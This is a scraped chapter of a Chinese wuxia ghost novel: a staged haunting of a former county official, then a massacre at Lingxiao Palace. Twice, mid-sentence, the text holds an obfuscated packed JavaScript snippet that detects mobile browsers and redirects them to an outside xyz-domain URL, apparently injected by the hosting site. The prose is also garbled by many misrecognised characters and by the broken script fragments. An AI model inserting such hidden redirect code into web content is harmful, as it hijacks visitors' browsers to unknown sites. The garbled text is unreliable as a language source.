铁链声止,但窗外却忽然又传来“咯咯咯”地磨牙市,“滴答——滴答—滴答—”滴水声再现,林老头吓得脸色铁青,脑袋僵硬地缓缓转向窗户,忽然间,一股妖风破窗而入,摇曳的烛火骤灭。他“啊”得一声跌坐到地上,空气中仿佛有一只无形的手,轻轻一挥,蜡烛又挣扎着摇了起来。
“林长生~林长生~我来接你了!”沙哑的声音仿佛是从炼狱里传来,林老头头皮发麻,浑身都在抖,他从地上翻了个身,立马冲着窗外不住地磕头:“李少侠,不是我!不是我!主意不是我出的,我只是个县长,我是个县长!不不不,我早就卸任了,不是我不是我~”他恍惚地重复着。“我入地府,见到不少人。”影子的声音又哑了些。
“那些人也不是我杀的,大侠!大侠!是你们!是你们原本说自己能解决的啊!!我又怎知 我不知道,我错了!我错了!别带我走,不要 不要 我还有孩儿,我孩儿还没长大呢!求求你了,李大侠!我给你烧纸,我给诸位大侠都烧纸!!"
"你害了这么多人,烧得过来吗?人人……鬼鬼都想带你走~"
李大锤的鬼魂从嗓子眼里发出可怖的咯咯咯的笑声,空气中的腐臭味愈发浓了,他甚至不敢抬眼,浑身颤斗如筛:“烧得完!烧得完!十六位大侠,我都烧,求求您
!求求您别带我走。”"今日收魂,必带一人,你不走……"
“袁唯人!大侠,您去带袁唯人,都是他!都是他不逼我的呀!”林老头的双腿不听使唤,颤抖不止,空气中除了腐臭味,又飘来一股子同样恶心的尿骚味。
潜伏在树上打镜子的齐珂挑眉:“这是——吓尿了?”
“哈哈哈哈哈,哈哈哈哈!怂货!”李大锤的鬼魂笑声凄厉,当真像是十八层炼狱里爬上来的恶鬼:“我曾信你,却被凌迟而死,这回……”
“您信我,大侠,您信我!都是袁唯人!您信我这一次,小人不敢再骗您了呀!”林老头把头磕得砰砰作响,头上一片湿热,鲜血混着尿液尿液,狼狈不堪。李大锤没有再说话,李老头伏在地上,心脏拼命地跳动,仿佛就要从喉咙里呕出来,忽然,又是一阵阴风拂过,烛火彻底熄灭,只留下呛人的黑烟。"大侠……李大侠?"
无鬼应答,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855875|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窗外水滴声没了,磨牙声止了,空气中的腐臭淡去不少,他新新斑斑地抬起头,窗外透过星光,半点影子都不见了。像是动后重生一样,他卸了力气,一下子跌坐到地上,裤子湿达动地粘在
腿上浑然不觉,他的眼神空动,整个人还颤抖不止:
“应验了,应验了,索命!是冤魂索命!”
夜色沉酣,齐珂向玉并肩往百花阁走。
“我们竟是来落霞村的第十七批。狗东西,叫咱们送死!”齐珂狠狠—拳砸向身旁的大树,树木颤动,落叶纷纷:“这几日,你和阿明查到的还挺多。”
向玉手上还拖着飞钩,但他现在显然没什么心思去细讨这些事情,满身屎味,方才林老头又尿了裤子,隔着一扇窗户纸,他都觉得自己被污染了。
爱美之人怎受得如此污秽!见向玉没做声,齐珂皱眉转头看他,却听到向玉突然十分委屈地嗫嚅道:“我想跳河~”
“至于嘛?回去洗洗就好了。”她忍不住勾起唇角:“行了,先说正事,林老头刚才提的袁唯人,你们之前有查到信息吗?”
向玉还是提不起兴致说这些,低着头,满眼酸涩,亦步亦趋跟着齐珂往百花阁走,空气中忽然飘来幽幽如梅花般清冽的否气,却不是他惯用的雪中春信,眼前伸出一只手,手上捏着一个精巧的小瓶子,
瓶口四周嵌着七彩宝石:“篱落香?!”
他猛地抬头,睡仁瞬间放大,脸上的阴疆烟消云散,双手小心翼翼接过齐珂给他的香瓶,拧开盖子,周遭的空气似乎都清新了不少,这样的香气将将掩住他身上的味道,向玉心花怒放,亮着一双碧波荡
漾的桃花眼看向齐珂:“这香可难得!”
“嗯!”齐珂故意挺了挺胸,扬起下巴,双手背在身后往前走:“回来路过制香镇子闻思镇,顺手给你带了瓶。喜欢就好,不必言谢!”
河珂~”向玉眼中泛出感动,他拨开眼前的头发,张开双臂,白色长袖军舞的瞬间,刚被霭落香掩去的尿味又被煽动,齐珂掩面干呕-声,敛捷地躲开。指着他:“退后!说了是顺便,不必激动。”“可你哪儿来的钱?”向玉难得没有再装委屈,如获至宝地把那瓶篱落香抱在胸前,两人继续往百花阁走。
“你给我的香囊里除了那个木筒,不还有两张银票?我用你的钱,给你买了礼物,故而,只当是跑腿,不必谢我。”
“非也非也,钱财不论,佳人心意才最难得!”他快走两步跟上齐珂的脚步,这回才有兴致回答她先前的问题:
“那个袁唯人,阿明弟弟查过,落霞村所属建宁县的县丞,不过——嘿嘿。”他又忍不住疗开盖子再嗅了一口,清冽的梅香令人神清气爽:“这可是个妙人,此人曾官至尚书令,主张推行新政,变法失
败,一贬再贬,如今贬成了个小小县丞。"
“珂珂,你不觉得奇怪吗?落霞村鬼嫁娘,事情闹得这么大,府衙不管,朝廷不问,冲在前头丢掉性命的可都是江湖侠客……."“就像——”齐珂怔了怔:“众门派被灭门一样。”
21、凌霄宫“朱雀”重现
建宁县袁府不大,只是一个两进的小院子,正屋前面四平见方的小庭院,院子里摆着三盆枇杷,五月种下去的枇杷核破土发芽,如今也已经长出小枝。
袁唯人拿着一个小水瓢,小心翼翼地给盆里的三棵枇杷树浇水,唇边漾出温柔的笑意;“星洛,明年这个时候,你我便能重逢了吧。到时候,枇杷满枝,你一定欢喜。”“大人,方统领来了。”婢女走路无声,恭敬叉手行礼。
袁唯人挥手让人退下,伸手轻轻抚摸刚刚长出的枝干:“星洛,你歇息,我一会儿再来陪你。”
书房后面有一个暗门,他转动书架上的青瓷花瓶,门吱呀一声转开,阴影处站着一个穿黑色斗篷佩刀戴面具的男人,等袁唯人进来,那人站在阴影里不动:“当真是他们?”
“正是,陛下何意?”
"引友杀敌,不自出力。"
袁唯人皱眉:"再无其他?可这话,老夫出京之日陛下便已嘱托。"“话已带到,大人慢慢想。”男人没有多留,从密室另一处离开。“吱呀——”门锁转动,进来一个车夫打扮的人:“大人,凌霄宫宫主夫人归山。”
袁唯人不言,指间抚过摇曳的烛火,竟丝毫不觉得疼,忽然,他舔了舔唇,眼中闪过一丝如鬼魅 股的淫邪,伸手直接掐灭红烛,烛火在他的手中化成一缕青烟,他看着被烫红的手指,碧地笑了:“那就——给他们送份礼罢。”
许是前几日大雨连绵,今夜坐在屋顶上倒真有几分初秋的凉意。
“我以为你会问我。”齐珂手上抛出几颗松子,一仰头,精准无误地全部接进嘴里。
“不用问。”向玉低头剥松子,剥好的松子仁用帕子盛者推到齐珂跟前,为了搭配篱落香,他沐浴后特意换上了一件袖口染着大片红梅的织锦长袍,眼睫闪动着,梨涡浅绽,笑起来又娇气汉漂亮:我是谁呀?叹问尘世我最逍遥!风流浪子,不仅懂男女间温柔小意,还懂痴男怨女爱恨情仇,你回来,我心中便有大概。只是没料到,你还拐了一位小娘子!珂珂,有本事!”
“她自己跟着我的。”
“我如今倒觉得云之恒有些可怜了。”
你把脸上落井下石的笑容收起来,我还能勉强信你的鬼话!”齐坷把帕子里的松子仁全部倒进喘里:“说回来,当真还是用旧法子进鬼将军老巢?前面可都搭进去十六个了。”
"人君莫不是说了嘛?那是因为前十六次,他不在,我们也不在。"
齐珂狐疑地看向向玉,后者感受到目光,手指轻轻捻转着胸前垂落的发丝,他转过头对齐珂扬起喘角,勾出一抹很暖味的笑意,但发现齐珂的眼神清澈到不带任何男女之间的情愫,他的笑容僵在脸上。“我其实早就想问,我离开这几日你们把君莫那货怎么了?怎么就愿意与我们‘狼狈为奸''?”
"哼哼!"他笑着拍拍手,把最后的松子剥完塞到齐珂手里:“你问阿明弟弟。"
"不许叫我弟弟!"
随着瓦片细微的响声,风羽铃铛轻晃,风中迎面踏来身姿挺拔的少年,他 手握拳背在身后,一手握着 把即使戴着剑销,但剑势仍然冷冷生辉的绝世宝剑,宝剑向外幽幽故着浅蓝色的荧光,荧光所到之处,皆结上一层薄薄的冰霜。
他眯眼看向向玉,后者很识趣起身:“你们姐弟俩聊,哎呀~我最近身子虚,到点就犯困,当早睡早起。”
“哼,再过一刻便寅时了,玉哥哥睡得真早。”他上前,与向玉擦肩而过时面无表情地斜过身子,屁股怼上去,想将向玉挤下楼,被他“哎嘿”一声灵活躲开。铺染着红梅的长袖挥舞,给姐弟二人留下一屋顶的梅香:"明日见!"
“阿姐!”谢明行礼,被齐珂拉着衣服坐下,伸出手想要抚上他的眉骨,指间刚要触碰到他的皮肤,却突然蜷缩起来,齐珂上上下下仔细打量面前的少年:“让阿姐好好看看你。”
“阿姐~”谢明的眼神随着齐珂的手游移,那双手明明就要碰到他了,他猛地拉住,齐珂一怔,掌心微微凉,右手已经被 双大手包展,谢明伏下身子,半靠在她的腿上,脸贴住她的掌心,微微赠了
蹭,闭上眼:“姐姐……”
齐珂眼睛蓦地 酸,谢明的脸有些凉,但贴在她的掌心,她能感受到他的温度。不像牡丹城外那次,是如死寂寒潭 样的冰凉,她甚至 度觉得,他要离开了,那个把她拉出黑暗的孩子也要离开她了。可此时此刻,她的手能感受到他温热的吐息,他还像孩童时一样,困了累了就趴在她的腿上,让她切切实实地感受到,阿明还在。
齐珂犹豫了一会儿,还是把另一只手贴上去,轻轻搭在他的肩上,谢明闭着眼,背对着她,唇角却悄悄勾起来。
二人就这样静默了许久,直到天边一颗流星坠落:“阿姐……”
“嗯?”
“会有更好的。”谢明轻轻出声,他的呼吸也轻了些,身子僵着,好像在等待齐珂的回答,半晌,只听到齐珂低低应了一声:“嗯!”
武林群豪仰慕阿姐者众,但若真提到谈婚论嫁,敢上远容山提亲者少之又少,嘴上说:“官主仙姿,吾等俗人不可企及。”但实则是阿姐在江湖地位过高,娶进门
拿捏不得,他们难要丈夫成风。云之恒倒是想娶,但权臣婚事,娶的不是人,是权势,云清官空有十六宫之首的成名,却早于十一年前退临江湖闭世不出,帮不了他。而这一切,都是因为他,阿姐是为护他才再不开山门,谢明抿了抿嘴,忽然故作玩笑道:
“阿姐这一路可遇见喜欢的?若是对方不从,我就替阿姐把人绑过来!”
齐珂低声笑了,却听谢明又补充道:“只是,谁都好,阿姐可千万别喜欢那只孔雀!”"为何?你对他的看法还是未改分毫?“
谢明冷哼一声:“阿姐你是不知道,这货不仅给了阿姐你松子,方才在楼下,还给了曲维舟一罐呢!”
“对谁都好,就是对谁都不好,阿姐听你的。”齐坷笑着挑挑他发尾的铃铛:“我差点忘问了,你们和君莫怎么就冰释前嫌了?我以为,您醒后会找他算账。”“阿姐不是打过他了吗?”
"你不亲自讨说法?"齐珂挑眉。
“我醒来,他还活着,便代表阿姐不杀她,既然你不杀他,那我就不杀他,至于冰释前嫌 ”他将自己的头枕得更舒服些:“算不上,之前他也一直懒得理我们,倒是我收了村里几个主动找上门的孩
子,他看了我两日,这才主动搭话。"
“说什么?”
“他问我,这些算不算弟子?我答,未行拜师礼,算不得。他又问,既不是弟子,若其中有人天赋异禀,我可会传授其璇花剑法。”
“你如何答?”
“会啊!师父说过,武学传承,不能只靠血脉和宗门,血脉会断,宗门会绝,但传承不可灭,弦歌不辍,薪火相传,侠客之灯,方可燃干古。”
齐珂赞许点头:“不枉知行师父对你的教诲。”
“阿姐,待鬼嫁娘事了,回云清宫前,我想去三空寺看看师父。”齐珂抬头看了眼凉薄的夜色:“只怕,没那么容易了。”
“什么?”
“云……”齐珂话音未落,突然一声炮响在远处炸开,谢明惊起,二人回头,远方被夜色笼住的山头在耀眼的红色火花下这才现出高大可怖的身影。花火破长空,在天边划出一朵诡异的冰花形状,随后哗啦啦洒落,但天际亮色的火烟未散,仍是一朵巨大的冰花。“咱们宫里的求救炮?!”齐珂错愕不已:"谁呀这是?!那是哪儿?"
火花飞空的瞬间,谢明已经从屋檐上一跃而起,几个踏步,又向高处飞出几丈,再次翻身落下,伸手拉起齐珂,眼中也满是讶然:
“麒麟山!”
“凌霄宫?!”二人对视一眼,齐珂脑中瞬间闪过不久前鸽房传来的信——“我的小月月?!/月护法?!”“走!”齐珂拉着谢明飞身下楼。
“前辈!”翻墙而出一道火红的身影,手中握住双板斧:“出什么事来?是要除恶吗?我和你们一起去!”
谢明皱起眉,刚想开口,齐珂飞快道:“你留着,他们一个不能用内力,一个不会武功,若有意外,还需你应对!”
“可是……”
“护好他们,也是侠客所为!”
“好!”曲维舟脸上的不甘瞬间褪去,一拳打在自己胸口上,郑重道:“前辈放心!有我在,一定不会出事,你们小——”“心”字还未出口,两道身影快如闪电,已经跃出老远,目之所及,哪里还有姐弟二人,只是黑夜中谢明发尾上的铃铛声又清晰了不少。
二人一刻不停疯狂往麒麟山赶路,麒麟山距离落霞村有二百里,他们轻功都极好,又一路不敢停歇,终于在天边泛起第一抹鱼肚白时赶到麒麟山脚下。“天杀的,宫殿修那么高干啥。”谢明气还没有喘匀称就跟着齐珂继续往山上飞奔:“十六宫最高峰,疯了疯了!”
“嘘!听!”二人赶到半山腰,忽然听见头顶传来密窣声响,他们眼中闪过厉色,屏住呼吸,滑到山道左侧,身体紧贴着扎人的杂草——
咚!“一具七窍流血的尸体从上面的斜坡滚落,狠很砸在两人面前,尸体的后背砸到石头上,身体瞬间弯成两段。谢明的目光飞快 过那具穿着水蓝色宗门服的尸身,脸色陡然 变,手狠很擦住赤影,一瞬不瞬地盯着那具尸体,眼中杀意暴起。
齐珂抬手按住谢明,耳朵微动,探得四下无高于潜伏,她拉着谢明的手滑出草丛,转头,声音沉稳,如三空寺撞钟的钟杵,一声一声敞在他的心头,终于换回他半分理智:“断云掌在江湖之上并未失传,除魔教朱雀坛外,亦还会有武学传承之人,别自乱阵脚!"
谢明的身子还是紧绷的,听到齐珂的话,他的身体微微颤抖,缓缓抬眼,对上齐珂严厉的眼神,他深吸一口气:“对不起,阿姐…”
齐珂拍拍他的肩:“先上山!”说罢,比方才又加紧了速度,离山顶凌霄宫还有一段距离,穿过厚厚的云层,天气骤变,云下晨曦初现,云上却下起了打在人身上生疼的豆大冰雹:
"还在打,我们快些!"
“好!”谢明咬牙跟进齐珂的步伐,他捏紧手中的赤影:“爹娘,若真是朱雀,儿必杀之,为云策山庄报仇!”
凌霄里血流成河,曾今的神宵绛阙,洞天福地此时如同尸骨残骸堆积如山的人间炼狱。剑影掌风纵横交错,
厮杀惨叫不绝于耳。水蓝色的衣袍染血,朱红色的战衣被浸成深红。
尸骸遍地,横七竖八的尸体从宫门一直蔓延到主宫室的前厅,王诗安带回来的六十弟子一个倒下,身无伤痕,唯头顶一记贯彻六腑的立刀学印,七窍涌血,各种各样放发着浓郁屋臭味的液休将主官前镜
金的台阶染成彩色。液体中飘着的还有数不尽的穿着红色衣服的残骸,凡死者,身上伤口深长,剑所划过之处,两边爆开一个个拇指大小的血洞,向外汩汩吐着鲜血。
这是凌霄宫的剑法——星河万里。
带回的弟子只利不到十人,但将他们逼到正厅的敌人眼见还有三十有余,王诗安浴血而立,手中银针完全被鲜血染红,她早已力竭,持针的于断料不止。馨月脸上的红纱被打落,她抿着唇一言不发挡在
王诗安身前。
对方的攻势丝毫不停歇,掌风急如闪电,呼呼作响,明明已经大战一个晚上,却还能一拳比一拳更加狠戾,将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855876|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们团团围住,打出一道道残影。
年轻弟子招架不住,节节败退,缺口处誓月身形闪动,迅速补位,她知道,身后这群凌霄宫的人再撑不住敌人再一波政势,她心底一横,突然一身爆喝凌空而起,忽然殿中金光万道,耀眼的光芒倾泻而
下,那群红衣鬼面人和凌霄宫弟子被晃得睁不开眼,只有王诗安心头大震:”师妹!!"
馨月的身后突然长出万千佛手,观音垂目,有残障万千。
“千手观音!她是千手观音!”最先反应过来的鬼面人惊叫一声,馨月猛地睁眼,万千佛手从给她身后挣脱而去!不,那不是金佛手,是千千万万根绝杀之器——佛手诀!
金针入体,不痛不痒,却在还没察觉受伤之时,生命便已经走向终结。
“结阵!”领头人眼见属下顷刻倒成一片,怒喝 声运气阳挡,他内力强劲,显然已过大乘幻境,又是殊死一搏,结气的气罩竞然硬生生将馨月的一部分金针当了回去,金针疾驰,冲凌霄宫弟子和王诗
安呼啸而去。
馨月目眦欲裂,可如今她也已经是强弩之末,再无力反挡:"不!!!"
忽然,周遭冰霜蔓延,一柄长剑飞驰而来,金针即将扎入众人体肤之时,长剑味声如龙吟,旋成一道道残影,众人手脚被冰封住,只听见一串针剑相撞的叮铃声,金针落地。
鬼面人大惊,还没来得及转身,脸上突然贴上滚烫的热血,风从背后袭来,顶级高手的反应让他下高识矮身阳挡,谁知后方人所用武器居然凌空改道,死死缠住他的脖子,他只感觉方才被内力挡回去
的针又扎进了自己的喉咙,可此人内力却远比干手观音深厚,他刚想挣扎,突然天地旋转,后背砸到桌角,他狠狠摔落到地上,胸腔内气血翻涌,俯身呕出一大口黑血。
赤影回手,血月收腰,门外大有毁天灭地之势的冰雹里走出两道格外挺拔的年轻人的身影,冰雹仿佛落不到他们的身上,如同大罗金仙。
官主!公子!”馨月泄力,见到来人踉跑着冲二人扑去,她方才除了怒喝-直未曾多言,现一开口,趴在地上抽搐着咳血的鬼面人忍不住再打了个寒战:好甜腻的声音!仿佛泡在蜜缸子里,购得慌,小月月!哎的,让我睢瞧,怎么伤成这样啊,心疼死我了!”齐珂一把抱住狼钡不堪的馨月,大声吸了把鼻子,眼泪还没落下来,听到面前娃娃脸的“千手观音”声音甜美中带一丝馅尬:“官主,没受伤,就是腿软了。”
谢明眉眼冷肃,视线在所有的尸体上——扫过,最后如同嗜血修罗,死死盯着地上只剩下一口气的男人,却不知为何,一言不发。
云清官三人的面前,王诗安让弟子们彼此搀扶,自己缓缓退到主座旁,齐珂这才看清,主座上还坐着一个人,面容已经腐烂,但不难看出,国字脸,两辙胡,身上是棕得色的官主袍子,王诗安双眼通
红,颤抖着手伸向那具尸体,临到近前却不敢触碰,她红着眼从嘴里挤出几个字:
“齐宫主,朱雀坛!是魔教!”
“不是!”一直没有说话的谢明突然出声打断,他眼眸森然,盯着地上男人的眼神仿佛在盯着一只猎物,馨月伏在齐珂怀里,手轻轻揪着齐珂胸口的衣服,几人转头看他。谢明摇头,方才笃定的语气里这会儿又带上了一丝不确信:“不是魔教!”
“不是魔教还会是谁?这世上除了朱雀坛,还有谁会用段云掌?!”王诗安接近歇斯底里。
“军……/人?”谢明喃喃。
这一句话淹没在门外哗啦啦的冰雹声中,但众人却都敏锐地捕捉到了,一语激起千层浪,如平地惊雷,把在场的所有人都炸得外焦里嫩。“你确定?”齐珂眯起眼,突然她的眼光瞥见地下男人的动作,她和谢明同时出手,却还是晚了一步,男人咬破藏在齿间的剧毒,当场死亡。“你把话说清楚,什么叫……”王诗安眼睛里全是血丝,她激动地快步上前想抓住谢明,却被他先一步皱眉躲开:“我不确定,线索太少了。”“那你凭什么下定论不是魔教?!”她声音尖锐叫喊出声,若是魔教,她还知该恨谁,但军/人?
“哈哈哈……”她突然笑出声。
“
师娘……”还活着的小弟子们互相搀扶着上前,被她一把打开,她死死盯着同样面色铁青的谢明:“我不信!你骗人!”
“随你!”齐珂上前一步挡在谢明面前:“馨月,阿明,我们走!”
“宫主……”馨月的手被齐坷握着,有些犹豫地回头,凌霄宫尸横遍野,带回来的弟子只剩六个还活着,王诗安失心疯一样地跪坐在朗云的尸体旁边。
齐珂回头看向馨月,眼神也冷了下来:“我同你说过什么?”
馨月的声音很甜,此时带上了委屈:"不要多管闲事……宫主…"
齐珂冷着脸无奈叹了一口气,转头看向脸上毫无血色的凌霄宫众人,视线停在王诗安身上。
“我记得你带去远容山的弟子不少,是重建凌雪宫为死者报仇,还是暂时退隐休养生息,你自己决定,若是后者,来落霞村百花阁寻我,我会让馨月去信,我官中人会护你门中弟子安全,我只等到九月
十六,过时不候!”
说罢一手拉着馨月,一手拉着谢明,踏入冰雹之中。
“阿姐!”
“怎么了?”
三人下山,还未走几步,谢明的步子突然一顿,他从怀里掏出一个很小的锦盒,盒盖滑开,里面的六脚爬虫中毒一样颤抖不止,谢明原本就很难看的脸色这下彻底变黑:
"百花阁!百花阁出事了!"
“靠!姑奶奶我是牛吗?牛也得歇歇吧!走啊!赶紧走!!”